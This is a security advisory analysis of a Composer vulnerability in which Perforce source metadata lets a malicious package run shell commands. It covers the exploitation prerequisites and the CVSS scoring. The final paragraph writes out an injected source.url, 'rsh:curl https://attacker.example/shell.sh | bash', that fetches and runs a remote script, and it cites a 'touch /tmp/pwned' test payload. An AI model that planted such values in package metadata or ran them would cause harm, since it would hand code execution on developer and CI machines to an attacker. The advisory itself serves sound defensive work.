Composer EUVD-2026-69608

Exploitation requires three simultaneous conditions: (1) the victim environment must use a custom or private Composer repository, or must process an untrusted composer.lock file - Packagist.org explicitly disallows Perforce source metadata, so the default Packagist-only workflow is not affected; (2) the Perforce p4 client binary must be installed and accessible in the system PATH on the machine running Composer; and (3) Composer must perform a source-based installation of the malicious package, triggered either by the --prefer-source flag, by the absence of a dist artifact for the package, or by explicit source install. Pure --prefer-dist installations where all packages have dist URLs available will not invoke the vulnerable Perforce code path. The combination of a non-default registry and a non-ubiquitous p4 client meaningfully limits the population of affected environments.

The CVSS 4.0 score of 7.7 (High) with vector AV:N/AC:L/AT:P/PR:N/UI:P accurately reflects the attack prerequisites: AT:P captures that the Perforce p4 client must be installed, and UI:P captures that the victim must actively run a source-based composer install or update. These two prerequisites significantly constrain real-world exploitability. Critically, Packagist.org - the dominant PHP package registry - explicitly prohibits Perforce source metadata, meaning the attack surface is limited to environments using custom or private Composer repositories or processing untrusted composer.lock files. EPSS score is absent from available data. KEV status is not listed, and no active exploitation is confirmed. The risk is most elevated in CI/CD pipelines that reference private repositories with less rigorous metadata vetting and happen to have p4 installed. For the majority of PHP developers using Packagist.org exclusively, this vulnerability is not reachable. Despite high C/I/A impact upon successful exploitation (arbitrary code execution as the CI/developer account), the dual prerequisite hurdle meaningfully reduces priority for environments without custom repositories or p4 installed.

An attacker publishes a malicious package to a private or custom Composer repository, setting source.type to perforce and source.url to rsh:curl https://attacker.example/shell.sh | bash. When a developer or CI pipeline adds this package dependency and runs composer install --prefer-source (or when no dist artifact is available for the package), Composer invokes the installed p4 binary with the malicious port string, causing p4 to execute the embedded shell command with the privileges of the running user or CI service account. The fix commit test suite confirms the payload pattern with rsh:touch /tmp/pwned as a proof-of-concept.